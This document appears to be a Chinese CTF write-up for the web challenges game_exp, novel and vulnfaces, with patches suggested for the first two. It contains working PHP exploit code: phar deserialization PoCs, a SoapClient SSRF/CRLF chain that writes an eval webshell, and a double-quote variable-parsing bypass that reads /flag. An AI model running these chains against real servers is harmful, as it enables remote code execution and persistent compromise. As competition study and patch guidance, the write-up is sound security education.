game_exp
漏洞一:phar反序列化
regiter.php当中第3行-第9行:
1 2 3 4 5 6 7
| class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } }
|
AnyClass
类的__destruct
存在反序列化,而第31行file_exists
函数刚好可以触发phar反序列化

poc构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class AnyClass{ function __construct() { $this->output="system('ls /');"; } } $phar = new Phar("poc.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $a=new AnyClass(); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
在注册的时候上传图片,图片内容为上面poc生成的phar文件

之后通过phar://协议触发反序列化,执行命令

漏洞二:
finger/index.php:第4行-第23行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $ip = $_SERVER['REMOTE_ADDR']; if ($ip == "127.0.0.1") { include_once "../sqlhelper.php"; $uid = addslashes($_SESSION['uid']); $mysql = new sqlhelper(); $sql = "SELECT id FROM goder where uid = '$uid'"; $res = $mysql->execute_dml($sql); if ($res) { if (isset($_POST['cmd'])) { system($_POST['cmd']); echo "<script>alert('启动金手指模式!');</script>"; } }else{ echo "<script>alert('你还不是王者!');</script>"; } } else { echo "<script>alert('只有本地的王者才能访问!');</script>"; }
|
可以看到存在命令执行,但是$_SERVER['REMOTE_ADDR']
不能为127.0.0.1,这里当时不知道该怎么绕
patch:
regiter.php:把AnyClass
类那段代码注释掉
finger/index.php:虽然绕不过去,但是通过漏洞一已经可以拿到flag了,这里只需要防御就行了,防御很简单,注释掉system($_POST['cmd'])
这段代码就行
game_exp赛后补充:
漏洞二:另一处phar反序列化pop链
全局搜索__destruct
,在user.php第40行-第44行

这里的__destruct
将user
类的goder_text
成员变量进行了反序列化,然后调用了反序列化后对象的recordOrNot
方法,这里可以把成员变量goder_text
设置为php的内置类SoapClient
,由于SoapClient
类当中不存在recordOrNot
方法,就会触发SoapClient
类的__call
方法,可以发起post请求,再结合CRLF就可以构造任意post请求,注意这里的soapclient触发的ssrf是没有回显的,所以需要通过写入webshell的方式
poc构造:
利用链:
register.php phar反序列化->利用User
类__destruct
代码,通过SoapClient
内置类触发SSRF->结合CLRF构造任意POST请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php $target = 'http://127.0.0.1/finger/index.php'; $headers = array( 'Cookie: PHPSESSID=ie0il2me6irbvcqj1jebr67fu0' ); $post_string = 'cmd=echo "<?php @eval(\$_GET[1]);?>" > shell.php'; $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"aaab")); $aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo $aaa; class User{ function __construct($aaa="") { $this->goder_text=$aaa; } } $phar = new Phar("poc.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $a=new User($aaa); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
注意这里需要在http header当中设置一个登录后的session id,因为这里访问本地的时候做了登录检查,如下:
finger/index.php第二行,包含了login_requre.php

login_requre.php当中进行了session登录认证

场景复现
用docker在本地搭一个和比赛一样的镜像,需要安装php-soap扩展

注册上传图片,图片内容改成上面poc生成的phar文件

登录账号,给poc当中的sessionid授权

phar触发反序列化,写入webshell

成功写入:

novel
漏洞:备份功能代码处理不当而导致的任意代码执行
class/back.class.php 第19行-第28行:backup
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| public function backup($filename, $dest){ $filename='profile/'.$filename; if(file_exists($filename)){ $content=htmlspecialchars(file_get_contents($filename),ENT_QUOTES); $password=$this->random_code(); $r['path']=$this->_write($dest, $this->_create($password, $content)); $r['password']=$password; echo json_encode($r); } } private function _write($dest, $content){ $f1=$dest; $f2='private/'.$this->random_code(10).".php"; $stream_f1 = fopen($f1, 'w+'); fwrite($stream_f1, $content); rewind($stream_f1); $f1_read=fread($stream_f1, 3000); preg_match('/^<\?php \$_GET\[\"password\"\]===\"[a-zA-Z0-9]{8}\"\?print\(\".*\"\):exit\(\); $/s', $f1_read, $matches); if(!empty($matches[0])){ copy($f1,$f2); fclose($stream_f1); return $f2; }else{ fwrite($stream_f1, '<?php exit(); ?>'); fclose($stream_f1); return false; } } private function _create($password, $content){ $_content='<?php $_GET["password"]==="'.$password.'"?print("'.$content.'"):exit(); '; return $_content; } private function random_code($length = 8,$chars = null){ if(empty($chars)){ $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; } $count = strlen($chars) - 1; $code = ''; while( strlen($code) < $length){ $code .= substr($chars,rand(0,$count),1); } return $code; }
|
这段代码大概就是把$content
变量的内容写入php文件,之后设置随机密码,但是写入之前单引号双引号被htmlspecialchars
函数转义了,不能闭合print
函数,并且这里还存在正则检测,会对写入的代码进行匹配。但是这里print
函数打印$content
变量用的是双引号,于是通过php当中双引号可以解析变量的特性就可以进行绕过
可以通过${phpcode}
这种方式去执行phpcode
代码部分
首先上传txt,内容传入${@eval($_GET[1])};



然后对txt进行备份,这里/private/vrKJjXTDVw.php写入的内容就变成了
1
| <?php $_GET["password"]==="f1jUc24l"?print("${@eval($_GET[1])};"):exit();
|
因为print
的双引号可以解析变量,所以这里构造的php代码并不是被print
函数输出,而是被执行了
获取flag
http://172.16.9.23:9014/private/vrKJjXTDVw.php?password=f1jUc24l&1=system(%27cat%20/flag%27);

patch:
第56行,修改为:
1
| $_content="<?php $_GET['password']==='".$password."'?print('".$content."'):exit(); ";
|
这里把print
函数的双引号换成了单引号,防止变量被解析
然后需要修改正则,第41行,修改为:
1
| preg_match("/^<\?php \$_GET\[\'password\'\]===\'[a-zA-Z0-9]{8}\'\?print\(\'.*\'\):exit\(\); $/s", $f1_read, $matches);
|
vulnfaces
完全没思路的一道题,赛后百度了一下才知道题目环境用的是RichFaces,应该是CVE-2018-12533(EL表达式注入),但是有过滤,绕不过去,有时间要好好研究一下,填个坑
web题目现在在BUUCTF(https://buuoj.cn/challenges)平台上都有了,没有代码无法搭环境学习复现的同学,可以去这个平台上做